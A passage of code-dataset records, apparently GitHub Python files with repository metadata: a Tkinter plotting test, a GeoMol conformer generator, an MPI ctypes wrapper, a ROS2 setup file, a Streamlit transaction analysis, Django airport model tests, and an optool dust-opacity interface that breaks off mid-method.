ttk.Frame(root, padding=10)\nttk.Label(frm, text=datetime.today().strftime('%M:%S')).grid(column=0, row=0)\nttk.Button(frm, text='Exit', command=stop).grid(column=1, row=0)\n\nt = np.arange(0, 3, .01)\nfig = Figure(figsize=(5, 4), dpi=100)\na = fig.add_subplot(111)\na.plot(t, 2 * np.sin(2 * np.pi * t))\ncanvas = FigureCanvasTkAgg(fig, frm)\ncanvas.draw()\ncanvas.get_tk_widget().grid(column=2, row=0)\n\nfrm.grid()\n\nroot.update()\nwhile loop:\n ttk.Label(frm, text=datetime.today().strftime('%M:%S')).grid(column=0, row=0)\n root.update()\n time.sleep(0.1)\n","repo_name":"mhfvuong/BAP_IoT_server","sub_path":"PythonCode/guitest.py","file_name":"guitest.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"794754541","text":"import os\r\nimport pickle\r\nimport random\r\nimport sys\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport torch\r\nimport yaml\r\nfrom easydict import EasyDict\r\nfrom model.featurization import featurize_mol_from_smiles\r\nfrom model.inference import construct_conformers\r\nfrom model.model import GeoMol\r\nfrom rdkit import Chem, Geometry\r\nfrom rdkit.Chem import AllChem\r\nfrom rdkit.Chem import rdMolAlign\r\nfrom torch_geometric.data import Batch\r\n\r\n\r\ndef geomol_gen(work_path, optimizer):\r\n input_file = os.path.join(work_path, 'fastsmcg_input.txt')\r\n output_file_sdf = os.path.join(work_path, 'fastsmcg_output.sdf')\r\n\r\n config_file = 'script/geomol/config.yml'\r\n\r\n with open(config_file, 'r') as f:\r\n config = yaml.safe_load(f)\r\n config = EasyDict(config)\r\n\r\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n\r\n seed = 2022\r\n random.seed(seed)\r\n np.random.seed(seed)\r\n torch.manual_seed(seed)\r\n\r\n model = GeoMol(**config)\r\n\r\n state_dict = torch.load(f'script/geomol/best_model.pt', map_location='cpu')\r\n model.load_state_dict(state_dict, strict=True)\r\n model.eval()\r\n\r\n input_lines = pd.read_csv(input_file, sep=',', skiprows=14, header=0).values\r\n mol_chunks = [input_lines[i:i + 100] for i in range(0, len(input_lines), 100)]\r\n\r\n writer = Chem.SDWriter(output_file_sdf)\r\n\r\n for chunk_index, chunk in enumerate(mol_chunks):\r\n pickle_slice = {} # 类似这样 {'mol1': rdkit.Chem.rdchem.Mol, 'mol2': rdkit.Chem.rdchem.Mol}\r\n output_file_pkl = os.path.join(work_path, f'fastsmcg_output_slice{chunk_index:0>6}.pkl')\r\n for index, (smiles, title, num_conf) in enumerate(chunk):\r\n mol_title = f'{title}_{index + 1 + chunk_index * 100}'\r\n try:\r\n tg_data = featurize_mol_from_smiles(smiles, dataset='drugs')\r\n data = Batch.from_data_list([tg_data])\r\n model(data, inference=True, n_model_confs=num_conf)\r\n model_coords = construct_conformers(data, model)\r\n\r\n mol = Chem.AddHs(Chem.MolFromSmiles(smiles))\r\n mol.SetProp('_Name', mol_title)\r\n n_atoms = tg_data.x.size(0)\r\n\r\n for x in model_coords.split(1, dim=1):\r\n coords = x.squeeze(1).double().cpu().detach().numpy()\r\n conf = Chem.Conformer(mol.GetNumAtoms())\r\n for i in range(n_atoms):\r\n conf.SetAtomPosition(i, Geometry.Point3D(coords[i, 0], coords[i, 1], coords[i, 2]))\r\n mol.AddConformer(conf, assignId=True)\r\n rdMolAlign.AlignMolConformers(mol)\r\n\r\n for conf_id in range(mol.GetNumConformers()):\r\n if optimizer == '1':\r\n AllChem.UFFOptimizeMolecule(mol, maxIters=500, confId=conf_id)\r\n elif optimizer == '2':\r\n AllChem.MMFFOptimizeMolecule(mol, maxIters=500, confId=conf_id)\r\n elif optimizer == '3':\r\n AllChem.MMFFOptimizeMolecule(mol, maxIters=500, confId=conf_id, mmffVariant='MMFF94s')\r\n writer.write(mol, confId=conf_id)\r\n pickle_slice[mol_title] = mol\r\n except:\r\n pickle_slice[mol_title] = []\r\n\r\n with open(output_file_pkl, 'wb') as f:\r\n pickle.dump(pickle_slice, f)\r\n\r\n writer.flush()\r\n writer.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n work_path = sys.argv[1]\r\n optimizer = sys.argv[2]\r\n geomol_gen(work_path, optimizer)\r\n","repo_name":"wangzhehyd/fastsmcg","sub_path":"dataset-1/script/geomol/geomol_gen.py","file_name":"geomol_gen.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"19133224290","text":"from ctypes import cdll\nfrom mpi4py import MPI\n\nlib = cdll.LoadLibrary('./wrapper.so')\n#mpi set\n\nclass Testpy(object):\n def __init__(self,ptr):\n self.obj = lib.Test_new(ptr)\n\n def print(self):\n return lib.Test_bar()\n\n\n\n\n\ncomm = MPI.COMM_WORLD\n#grabbing pointer of communicator\nptr = MPI._addressof(comm)\ntest = Testpy(ptr)\ntest.print()\n","repo_name":"atanikan/cpp_python_interface","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42889372739","text":"from setuptools import setup\n\npackage_name = 'dwa_aiturtle'\n\nsetup(\n name=package_name,\n version='0.0.0',\n packages=[package_name],\n data_files=[\n ('share/ament_index/resource_index/packages',\n ['resource/' + package_name]),\n ('share/' + package_name, ['package.xml']),\n ],\n install_requires=['setuptools'],\n zip_safe=True,\n maintainer='jeon',\n maintainer_email='prizehun@yonsei.ac.kr',\n description='TODO: Package description',\n license='TODO: License declaration',\n tests_require=['pytest'],\n entry_points={\n 'console_scripts': [\n\t\t'dwaplanner = dwa_aiturtle.dwaplanner:main'\n ],\n },\n)\n","repo_name":"prizehun/ROS2_tutorial","sub_path":"dwa_aiturtle/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23021815596","text":"import streamlit as st\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\nst.set_option('deprecation.showPyplotGlobalUse', False)\r\n\r\nst.title(\"Data Analyst_Hiring Case Study\")\r\nst.header(\"Candidate: Nguyen Trung Bao Anh\")\r\nst.markdown(\"Python code here is basic and short, see file notebook to more detail. Thank you\")\r\n\r\nst.header(\"1. Read file\")\r\nurl = 'https://drive.google.com/file/d/1ExC6u_yYoPbt4VevEzY9Rvijw2x8KGPG/view'\r\npath = 'https://drive.google.com/uc?export=download&id='+url.split('/')[-2]\r\ndf = pd.read_csv(path, parse_dates = [\"date_of_birth\",\"txn_ts\"])\r\nst.code(\"import pandas as pd\\n\\\r\ndf = pd.read_csv(txn_history_dummysample.csv)\")\r\nst.text(\"Show dataframe\")\r\nst.code(\"df.head(5)\")\r\nst.dataframe(df.head(5))\r\n\r\nst.header(\"2. Transaction per user\")\r\nst.text(\"Group by ID and then count by ID\")\r\ndf_account_id = df.groupby(by=[\"account_id\"], as_index = False).count()\r\ndf_account_id = df_account_id[[\"account_id\", \"txn_type_code\"]].rename(columns = {\"txn_type_code\":\"Count\"})\r\ndata = df_account_id[\"Count\"]\r\n\r\nst.code('df_account_id = df.groupby(by=[\"account_id\"], as_index = False).count()')\r\nst.text(\"Average of Transactions:\")\r\nst.code(\"data.mean()\")\r\nst.text(\"The middle number in an ordered data set of Transactions:\")\r\nst.code(\"data.median()\")\r\nst.text(\"Transactions appear most often:\")\r\nst.code(\"data.mode()\")\r\nst.text(\"Visualize on chart to know the histogram of transaction per user\")\r\nfig, ax = plt.subplots()\r\nax.hist(data, bins=100, density=False, alpha=0.5, color='b',range = (0,200))\r\nplt.title('Transactions per user')\r\nplt.xlabel('Transactions')\r\nplt.ylabel('Frequency of appearance')\r\nplt.text(7,1500,\"Average of Transactions: 29.23\")\r\nplt.text(7,1350,\"The middle number in an ordered data set of Transactions: 8\")\r\nplt.text(7,1200,\"Transactions appear most often: 2\")\r\nst.pyplot(fig)\r\n\r\nst.subheader(\"Conclusion\")\r\nst.text(\" - Almost transaction per user is between 0 and 100\")\r\nst.text(\" - Transaction of each user > 100 rarely appear\")\r\n\r\nst.header(\"3. Average of amount per users\")\r\nst.text(\"Group by ID and then calculate mean by ID\")\r\nst.code('df_txn_amount = df.groupby(by=[\"account_id\"], as_index = False).mean()')\r\nst.text(\"Average of Amount per users: \")\r\nst.code('data_amount.mean()')\r\nst.text(\"The middle number in an ordered data set of average amount per users: \")\r\nst.code('data_amount.median()')\r\nst.text(\"Amount per users appear most often: \")\r\nst.code('data_amount.mode()')\r\nst.text(\"Visualize on chart to know the histogram of average amount per user\")\r\n\r\ndf_txn_amount = df.groupby(by=[\"account_id\"], as_index = False).mean()\r\ndf_txn_amount = df_txn_amount[[\"account_id\", \"txn_amount\"]].rename(columns = {\"txn_amount\":\"Amount\"})\r\ndata_amount = df_txn_amount[\"Amount\"]\r\nfig, ax = plt.subplots()\r\nax.hist(data_amount, bins=100, density=False, alpha=0.5, color='b', range = (-100000,100000))\r\nplt.title('Average of amount per user')\r\nplt.xlabel('Average of amount')\r\nplt.ylabel('Frequency of appearance')\r\nplt.text(-100000,700,\"Average of amount per users: 772776\")\r\nplt.text(-100000,600,\"The middle number in an ordered data set of avg amount per users: 1333\")\r\nplt.text(-100000,500,\"Avg Amount per users appear most often: 1000\")\r\nplt.gcf().axes[0].xaxis.get_major_formatter().set_scientific(False)\r\nplt.xticks(rotation = 90)\r\nst.pyplot(fig)\r\nst.subheader(\"Conclusion\")\r\nst.text(\" - Almost amount per user is between -50000 and 50000\")\r\nst.text(\" - 1000 is the most avg amount\")\r\n\r\nst.header(\"4. Frequency of transaction by age\")\r\nst.text(\"Creat new column 'year' from column 'date_of_birth \")\r\nst.text(\"Group by year and then count by year\")\r\nst.code(\"df['year'] = df['date_of_birth'].dt.year\\n\\\r\ndf_year_count = df.groupby(by=['year'], as_index = False).count()\")\r\ndf['year'] = df['date_of_birth'].dt.year\r\ndf_year_count = df.groupby(by=[\"year\"], as_index = False).count()\r\ndf_year_count = df_year_count[[\"year\",\"account_id\"]].rename(columns = {\"account_id\":\"Transactions\"})\r\n\r\nfig, ax = plt.subplots()\r\nax.bar(df_year_count[\"year\"],df_year_count[\"Transactions\"])\r\nplt.title('Transactions per user by age')\r\nplt.xlabel('Year of birth')\r\nplt.ylabel('Transactions')\r\nst.pyplot(fig)\r\nst.subheader(\"Conclusion\")\r\nst.text(\" - Transactions of people between 20 and 30 ages are more significant than people older than 30 ages\")\r\n\r\nst.header(\"5. Average amount of each transaction by age\")\r\nst.text(\"Group by year and then sum amount by year\")\r\nst.code(\"df_year_sum = df.groupby(by=['year'], as_index = False).sum()\")\r\ndf_year_sum = df.groupby(by=[\"year\"], as_index = False).sum()\r\ndf_year_sum = df_year_sum[[\"year\",\"txn_amount\"]].rename(columns = {\"txn_amount\":\"Amount\"})\r\nst.text(\"Calculate average amount of each transaction by age\")\r\nst.code('df_avg[\"avg\"] = df_avg[\"Amount\"]/df_avg[\"Transactions\"]')\r\ndf_avg = pd.merge(df_year_sum, df_year_count)\r\ndf_avg[\"avg\"] = df_avg[\"Amount\"]/df_avg[\"Transactions\"]\r\n\r\nfig, ax = plt.subplots()\r\nax.bar(df_avg[\"year\"],df_avg[\"avg\"])\r\nplt.title('Average of each transaction by age')\r\nplt.xlabel('Year of birth')\r\nplt.ylabel('Amount')\r\nplt.gcf().axes[0].yaxis.get_major_formatter().set_scientific(False)\r\nst.pyplot(fig)\r\nst.subheader(\"Conclusion\")\r\nst.text(\" - People older than 30 ages have big money transactions than younger people\")\r\n\r\nst.header(\"6. Fequency of type code\")\r\ndf_type_count = df.groupby(by=[\"txn_type_code\"], as_index = False).count()\r\ndf_type_count = df_type_count[[\"txn_type_code\", \"account_id\"]].rename(columns = {\"account_id\":\"Count\"})\r\nst.text(\"Group by type code and then count\")\r\nst.code('f_type_count = df.groupby(by=[\"txn_type_code\"], as_index = False).count()')\r\n\r\nfig, ax = plt.subplots()\r\nax.bar(df_type_count[\"txn_type_code\"],df_type_count[\"Count\"])\r\nplt.title('Fequency of type code')\r\nplt.xlabel('Type code')\r\nplt.ylabel('Frequency')\r\nst.pyplot(fig)\r\nst.subheader(\"Conclusion\")\r\nst.text(\" - The type code 1 and 2 that appear most often\")\r\n\r\nst.header(\"7. Transactions per month\")\r\nst.text(\"Creat new column 'month' from column 'txn_ts\")\r\nst.text(\"Group by month and then count by month\")\r\nst.code(\"df['month_of_transaction'] = df['txn_ts'].dt.month\\n\\\r\nf_month = df.groupby(by=['month_of_transaction'], as_index = False).count()\")\r\ndf['month_of_transaction'] = df['txn_ts'].dt.month\r\ndf_month = df.groupby(by=[\"month_of_transaction\"], as_index = False).count()\r\ndf_month = df_month[[\"month_of_transaction\", \"account_id\"]].rename(columns = {\"account_id\":\"Count\"})\r\n\r\nfig,ax = plt.subplots()\r\nplt.bar(df_month[\"month_of_transaction\"], df_month[\"Count\"], width = 0.3)\r\nplt.title('Transactions per month')\r\nplt.xlabel('Month')\r\nplt.ylabel('Frequency')\r\nst.pyplot(fig)\r\nst.subheader(\"Conclusion\")\r\nst.text(\" - Total transactions on march are higher than the others\")\r\n\r\nst.header(\"Conclusion\")\r\nst.text(\" - Almost transaction per user is between 0 and 100\")\r\nst.text(\" - Transaction of each user > 100 rarely appear\")\r\nst.text(\" - Almost amount per user is between -50000 and 50000\")\r\nst.text(\" - 1000 is the most avg amount per user\")\r\nst.text(\" - Transactions of people between 20 and 30 ages are more significant than people older than 30 ages\")\r\nst.text(\" - People older than 30 ages have big money transactions than younger people\")\r\nst.text(\" - The type code 1 and 2 that appear most often\")\r\nst.text(\" - Total transactions on march are higher than the others\")\r\n\r\n\r\n","repo_name":"baoanh1234/Test_DataAnalyst","sub_path":"python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":7298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3633635282","text":"from datetime import datetime\n\nfrom django.contrib.auth import get_user_model\nfrom django.test import TestCase\nfrom django.utils import timezone\n\nfrom airport.models import (\n Country,\n City,\n Airport,\n Route,\n AirplaneType,\n Airplane,\n Crew,\n Flight,\n Order,\n)\n\n\nclass CountryModelTests(TestCase):\n\n def test_country_str(self):\n country = Country.objects.create(name=\"Ukraine\")\n\n self.assertEqual(country.name, str(country))\n\n\nclass CityModelTests(TestCase):\n def setUp(self):\n self.country = Country.objects.create(name=\"Ukraine\")\n\n def test_city_str(self):\n city = City.objects.create(name=\"Kyiv\", country=self.country)\n\n self.assertEqual(city.name, str(city))\n\n\nclass AirportModelTests(TestCase):\n def setUp(self):\n self.country = Country.objects.create(name=\"Ukraine\")\n self.city = City.objects.create(name=\"Kyiv\", country=self.country)\n\n def test_airport_str(self):\n airport = Airport.objects.create(\n name=\"Test-Airport/International(TestTest)\",\n closest_big_city=self.city,\n )\n\n self.assertEqual(airport.name, str(airport))\n\n\nclass RouteModelTests(TestCase):\n def setUp(self):\n self.country1 = Country.objects.create(name=\"Ukraine\")\n self.country2 = Country.objects.create(name=\"Italy\")\n\n self.city1 = City.objects.create(name=\"Kyiv\", country=self.country1)\n self.city2 = City.objects.create(name=\"Rome\", country=self.country2)\n\n self.airport1 = Airport.objects.create(\n name=\"FirstTestAirport\", closest_big_city=self.city1\n )\n self.airport2 = Airport.objects.create(\n name=\"SecondTestAirport\", closest_big_city=self.city2\n )\n\n def test_route_str(self):\n route = Route.objects.create(\n source=self.airport1,\n destination=self.airport2,\n distance=5000,\n )\n\n string = f\"{route.source} - {route.destination}\"\n\n self.assertEqual(string, str(route))\n\n\nclass AirplaneTypeModelTests(TestCase):\n def test_airplane_type_str(self):\n airplane_type = AirplaneType.objects.create(\n name=\"TestAirplaneType AT28\",\n )\n\n self.assertEqual(airplane_type.name, str(airplane_type))\n\n\nclass AirplaneModelTests(TestCase):\n def setUp(self):\n self.airplane_type = AirplaneType.objects.create(\n name=\"TestAirplaneType AT28\",\n )\n\n def test_airplane_str(self):\n airplane = Airplane.objects.create(\n name=\"Test Airplane 28\",\n airplane_type=self.airplane_type,\n rows=10,\n seats_in_row=5,\n )\n\n self.assertEqual(airplane.name, str(airplane))\n\n\nclass CrewModelTests(TestCase):\n\n def test_crew_str(self):\n crew = Crew.objects.create(\n first_name=\"Test First Name\",\n last_name=\"Test Last Name\",\n\n )\n\n self.assertEqual(\n f\"{crew.first_name} {crew.last_name}\",\n str(crew)\n )\n\n\nclass FlightTicketOrderModelTests(TestCase):\n def setUp(self):\n self.country1 = Country.objects.create(name=\"Ukraine\")\n self.country2 = Country.objects.create(name=\"Italy\")\n\n self.city1 = City.objects.create(name=\"Kyiv\", country=self.country1)\n self.city2 = City.objects.create(name=\"Rome\", country=self.country2)\n\n self.airport1 = Airport.objects.create(\n name=\"FirstTestAirport\", closest_big_city=self.city1\n )\n self.airport2 = Airport.objects.create(\n name=\"SecondTestAirport\", closest_big_city=self.city2\n )\n\n self.route = Route.objects.create(\n source=self.airport1,\n destination=self.airport2,\n distance=5000\n )\n\n self.airplane_type = AirplaneType.objects.create(\n name=\"TestAirplaneType AT28\",\n )\n self.airplane = Airplane.objects.create(\n name=\"TestAirplane\",\n rows=50,\n seats_in_row=11,\n airplane_type=self.airplane_type\n )\n self.crew = [\n Crew.objects.create(\n first_name=f\"Test {letter}\",\n last_name=\"TestLast\"\n )\n for letter in \"abcde\"\n ]\n\n self.departure_time = datetime(\n 2023, 8, 17, 18, 0,\n tzinfo=timezone.utc\n )\n self.arrival_time = datetime(\n 2023, 8, 17, 20, 0,\n tzinfo=timezone.utc\n )\n\n self.user = get_user_model().objects.create_user(\n email=\"test@post.com\",\n password=\"user123456\"\n )\n\n self.order = Order.objects.create(user=self.user)\n\n def test_flight_str(self):\n flight = Flight.objects.create(\n route=self.route,\n airplane=self.airplane,\n departure_time=self.departure_time,\n arrival_time=self.arrival_time\n )\n\n for member in self.crew:\n flight.crew.add(member)\n\n flight.save()\n\n self.assertEqual(\n f\"{flight.route} ({flight.departure_time})\",\n str(flight)\n )\n","repo_name":"diana-shyrokikh/airport-api-service","sub_path":"airport/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10041874267","text":"\"\"\"NAME\n optool\n\nDESCRIPTION\n\n This module provides an interface to the optool program (available\n at https://github.com/cdominik/optool), and tools to plot, convert,\n and to compute with the results.\n It also provides tools to prepare refractive index data for use\n with the tool.\n\nEXAMPLES\n\nCompute pyroxene with an ice mantle in 24 different grain sizes\nand plot the results\n\n import optool\n p = optool.particle(’~/bin/optool pyr 0.8 -m ice 0.2 -na 24 -d’)\n p.plot()\n\nRead opacity files produced earlier by a run of optool. This is\ntriggered by giving an empty command string, and the directory as\nsecond argument.\n\n import optool\n part = optool.particle('','path/to/directory')\n\nCompute the opacities of 100 olivine silicate grain sizes and of 50\ncarbon grain sizes, and store the opacities in cache directories. This\nworks by specifying the directory as the second argument. In a new\nsession, if the directories still exist and were produced using the\nsame commands, the opacities are simply read back in.\n\n import optool\n import numpy as np\n sil = optool.particle('optool -d -a 0.001 100 0 100 ol-mg50',cache='sil')\n carb = optool.particle('optool -d -a 0.001 3.0 0 50 c',cache='carb')\n\nApply powerlaw size distributions, and limit the size of the\ncontributing grains. Note that a power law f(a)\\propto a^{-3.5}\nimplies using a power a^{-2.5} when computing the number of particles\nper size bin on a logarithmic size grid. No normalization is\nnecessary - the =sizedist= method will take care of that.\n\n nsil = sil.a1**(-2.5) # power law, no normalization required\n nsil[sil.a1<0.01] = 0 # no grains smaller than 0.01um\n nsil[sil.a1>0.3] = 0 # no grains larger than 0.3um\n sil_pl = sil.sizedist(nsil) # pass the relative number for each size\n\n nc = carb.a1**(-2.5) # power law, no normalization required\n nc[carb.a1>0.3]=0 # no grains larger than 0.3um\n carb_pl = carb.sizedist(nc) # pass the relative number for each size\n\nsil_pl and carb_pl are now objects with a single opacity each,\nobtained by adding opacities with the weights of the size\ndistribution. The opacities are still per g of total grain mass.\nLet's add these two opacities with mass weights, to get something\nresembling an interstellar dust opacity produced by a mixture of\nsilicate and carbon grains:\n\n ptot = 0.7*sil_pl + 0.3*carb_pl # weights should add up to 1\n ptot.plot() # plot the resulting opacity\n\nNow let's assume we are looking at an interstellar cloud, where the\ndust is just one percent of the total mass. We want to have the\nopacity per unit of /gas mass/ instead, and we need Planck and\nRosseland mean opacities:\n\n p_ism = ptot * 0.01 # dilute the opacity\n p_ism.computemean(tmax=1300) # Compute mean opacities\n p_ism.plot() # Plot the results\n\nOther size distributions can be made just as easily. Here is a\nlog-normal size distribution for the silicate grains, with a\npeak abundance at a size of a_m=1.3 microns, and a logarithmic width\nof \\sigma=1.2:\n\n sil_ln = sil.sizedist( np.exp( -0.5*(np.log(sil.a1/1.3)/1.2)**2) )\n sil_ln.write('dkap_ln.dat') # write opacity to a file\n\n\"\"\"\nimport copy\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math as m\nimport re\nimport os\nimport shutil\nimport subprocess\nfrom distutils.spawn import find_executable\nimport tempfile\n\nclass particle:\n \"\"\"Run optool and turn output into a python object.\n\n Provides an interface to the optool program for computing dust\n opacities. The optool program can be found on GitHub, at this address:\n https://github.com/cdominik/optool .\n\n Attributes\n ----------\n\n cmd : str\n The full command given in the particle() call\n radmc : boolean\n Output follows RADMC conventions\n scat : boolean\n Scattering matrix is available\n nlam : int\n Number of wavelength points\n lam : float[nlam]\n The wavelength grid\n nang : int\n Number of scattering angles\n scatang : float[nang]\n The angular grid\n materials : [[[...]...]... ]\n Lists with [location,m_{frac},\\rho,material\n np : int\n Number of particles, either 1 or (with -d) n_a\n fmax : float[np]\n Maximum volume fraction of vacuum for DHS\n pcore, pmantle : float[np]\n Porosity of the core/mantle material\n amin : float[np]\n min grain size used for each particle\n amax : float[np]\n max grain size used for each particle\n nsub : int[np]\n Number of sizes averaged for each particle\n apow : float[np]\n Negative size distribution power law (e.g. 3.5)\n amean : float[np]\n Mean size for (log-)nornal size distributions\n asig : float[np]\n Standard deviation for (log-)normal distribution\n a1 : float[np]\n Mean grain radius\n a2 : float[np]\n Radius of the grain with mean surface area\n a3 : float[np]\n Radius of the grain with mean volume\n rho : float[np]\n Specific density of grains\n kabs : float[np,nlam]\n Absorption cross section\n ksca : float[np,nlam]\n Scattering cross section\n kext : float[np,nlam]\n Extinction cross section\n gsca : float[np,nlam]\n Asymmetry parameter\n f11, ..., f44 : float[np,nlam,nang]\n Scattering matrix element F_11, ... ,F_44\n chop : float[np]\n Degrees chopped off forward scattering\n tmin : float\n Minimum temperature for mean opacities\n tmax : float\n Maximum temperature for mean opacities\n ntemp : int\n Number of temperatures for mean opacities\n temp : float[ntemp]\n Temperatures used for mean opacities\n kplanck : float[np,ntemp]\n Planck mean opacities, after calling computemean()\n kross : float[np,ntemp]\n Rosseland mean opacities, after calling computemean()\n norm : string\n Current scattering matrix normalization\n\n Methods\n -------\n\n plot()\n Plot the opacities and the scattering matrix\n\n computemean(tmin=10,tmax=1500,ntemp=100)\n Compute Planck and Rosseland mean opacities\n\n scatnorm(norm='')\n Check or change the normalization of the scattering matrix\n\n sizedist(N_of_a)\n Compute opacity of a size distribution of elements of SELF\n \"\"\"\n def __init__(self,cmd,cache='',silent=False):\n \"\"\"Create a new optool.particle opject.\n\n Parameters\n ---------=\n\n cmd : str or False\n A shell command to run optool. The output produced by this\n command will be read in and stored in an instance of the\n optool.particle class.\n If this is False or the empty string, just read what an\n earlier run of optool has put into the directory given by\n the second parameter CACHE.\n\n cache : str, optional\n The diretory to cache the optool output files in, so that\n they can be read instead of recomputed the next time\n the same command is used. The cache is automatically\n cleared when CMD changes between runs.\n If CMD was False or empty, we do not check what command\n made the directory. Instead we simply read what is there.\n \n silent : boolean, optional\n If True no messages or warnings will be printed on screen.\n \"\"\"\n if ((not cmd) and (not cache)):\n # well, you need to give me SOMETHING to work with\n raise RuntimeError(\"Specify CMD or CACHE or both\")\n elif (not cmd):\n # no command, only read the cache directory\n cmd = ''\n elif (type(cmd)==list):\n self.cmd = \" \".join(cmd)\n elif (type(cmd)==str):\n self.cmd = cmd\n else:\n raise RuntimeError(\"First argument CMD needs to be string or list\")\n\n if (cache and not cmd):\n # No command, just read directory\n if not silent:\n print(\"Reading files in directory:\",cache,\"...\")\n # Set cmd to the emty string, to signal not to run a command\n cmd = ''\n elif (cache and checkcmd(cache,self.cmd)):\n # Directory was created by the exact same command - just read\n if not silent:\n print(\"Using result cache in directory:\",cache,\"...\")\n # Set cmd to the emty string, to signal not to run a command\n cmd = ''\n else:\n # Convert command string into list if necessary\n if (isinstance(cmd, str)):\n cmd = cmd.split()\n\n if cmd[0].startswith(\"~\"):\n cmd[0] = os.path.expanduser(cmd[0])\n\n # Find the optool executable\n bin = find_executable(cmd[0])\n if (not bin):\n raise RuntimeError(\"Executable not found: \"+cmd[0])\n\n # Wrap the main part into try - finally to make sure we clean up\n try:\n if (cache):\n dir = cache\n else:\n # create temporary directory in /tmp/\n dir = tempfile.mkdtemp(prefix=\"optool_\")\n if cmd:\n if cache:\n # make sure directory is new and empty\n shutil.rmtree(dir,ignore_errors=True)\n os.mkdir(dir)\n # Store the command line we are using. We store the\n # string version of the command, not the list version.\n writecmd(dir,self.cmd)\n # tell optool to use the directory as writing desination\n cmd.append('-o'); cmd.append(dir)\n \n # Run optool to produce the opacities\n stdout = subprocess.DEVNULL if silent else None\n stderr = subprocess.DEVNULL if silent else None\n cmd[0] = bin; subprocess.Popen(cmd, stdout=stdout, stderr=stderr).wait()\n \n # Check if there is output we can use\n scat,ext,translate = check_for_output(dir)\n self.scat = scat\n self.massscale = 1.\n\n kabs=[]; ksca=[]; kext=[]; gg=[]\n f11=[]; f12=[]; f22=[]; f33=[]; f34=[]; f44=[]\n nfiles=0; header=[];\n materials = []\n rho = []\n \n for i in range(5000):\n if scat:\n file = (\"%s/dustkapscatmat_%03d.%s\") % (dir,(i+1),ext)\n else:\n file = (\"%s/dustkappa_%03d.%s\") % (dir,(i+1),ext)\n file = translate.get(file,file)\n if (not os.path.exists(file)): break\n nfiles = nfiles+1\n x = readoutputfile(file,scat,silent=silent)\n header.append(x[0])\n lam = x[1]\n kabs.append(x[2])\n ksca.append(x[3])\n kext.append(x[2]+x[3])\n gg.append(x[4])\n if scat:\n scatang = x[5]\n f11.append(x[6])\n f12.append(x[7])\n f22.append(x[8])\n f33.append(x[9])\n f34.append(x[10])\n f44.append(x[11])\n self.scat = scat\n self = parse_headers(header,self)\n self.nlam = len(lam)\n self.kabs = np.array(kabs)\n self.ksca = np.array(ksca)\n self.kext = np.array(kext)\n self.gsca = np.array(gg)\n self.lam = lam\n if scat:\n self.nang = len(scatang)\n self.scatang = scatang\n self.f11 = np.array(f11)\n self.f12 = np.array(f12)\n self.f22 = np.array(f22)\n self.f33 = np.array(f33)\n self.f34 = np.array(f34)\n self.f44 = np.array(f44)\n else:\n self.nang = 0\n self.np = nfiles\n finally:\n if cache:\n if not silent:\n print(\"Files remain available in directory: \"+dir)\n else:\n if not silent:\n print(\"Cleaning up temporary directory \"+dir)\n shutil.rmtree(dir)\n\n def plot(self,minkap=1e0):\n \"\"\"Create interactive plots of the opacities in SELF.\n\n Furthermore, a plot for the scattering matric elements and, if the\n computemean() method has been called, a plot of the mean opacities\n are produces as well.\n \"\"\"\n\n # Check if mean opacities have been computed\n if hasattr(self, 'kplanck'):\n # llamfmt = np.round(np.log10(self.lam),decimals=3)\n kplanck = self.kplanck\n kross = self.kross\n temp = self.temp\n viewarr([kplanck,kross],index=1,ylabel=['kplanck','kross'],\n idxnames=['grain index','log lambda [um]'],\n idxvals=[np.array(range(self.np))+1,temp])\n\n # Extract the kappas and g\n kabs = np.copy(self.kabs)\n ksca = np.copy(self.ksca)\n kext = kabs+ksca\n gg = np.copy(self.gsca)\n maxkap = np.amax(kabs)\n if (maxkap 1) or (o.np>1)):\n raise TypeError('Cannot add multi-particle objects')\n if ((s.nlam != o.nlam) or (np.abs((s.lam-o.lam)/s.lam).any()>1e-4)):\n raise RuntimeError('Wavelength grids differ')\n if (s.scat):\n if ((s.nang != o.nang) or\n (np.abs((s.scatang[1:]-o.scatang[1:])/s.scatang[1:]).any()>1e-4)):\n # We don't check the first value, could be 0\n raise RuntimeError('Angular grids differ')\n if (s.norm != o.norm):\n raise RuntimeError('Scattering normalizations differ')\n #\n # Now do the adding\n #\n x = copy.deepcopy(s)\n x.kabs = x.kabs+o.kabs\n x.ksca = x.ksca+o.ksca\n x.kext = x.kext+o.kext\n # F11 is linear in the integral for the computation of g.\n # So we can just take the weighted mean for g.\n x.gsca = (x.ksca*x.gsca + o.ksca*o.gsca) / (x.ksca+o.ksca)\n x.massscale = s.massscale + o.massscale\n\n if s.scat:\n # There is a scattering matrix.\n if s.norm == 'hovenier':\n # Add, weighted by kappa_scat\n ws = s.ksca[:,:,None]\n wo = o.ksca[:,:,None]\n wn = ws+wo\n else:\n # Just add the values\n ws, wo, wn = 1.,1.,1.\n x.f11 = (s.f11*ws + o.f11*wo) / wn\n x.f12 = (s.f12*ws + o.f12*wo) / wn\n x.f22 = (s.f22*ws + o.f22*wo) / wn\n x.f33 = (s.f33*ws + o.f33*wo) / wn\n x.f34 = (s.f34*ws + o.f34*wo) / wn\n x.f44 = (s.f44*ws + o.f44*wo) / wn\n #\n # Invalidate attributes that no longer make sense.\n #\n x.materials = np.hstack((x.materials,o.materials))\n if (x.fmax != o.fmax ): x.fmax = -1\n if (x.pcore != o.pcore ): x.pcore = 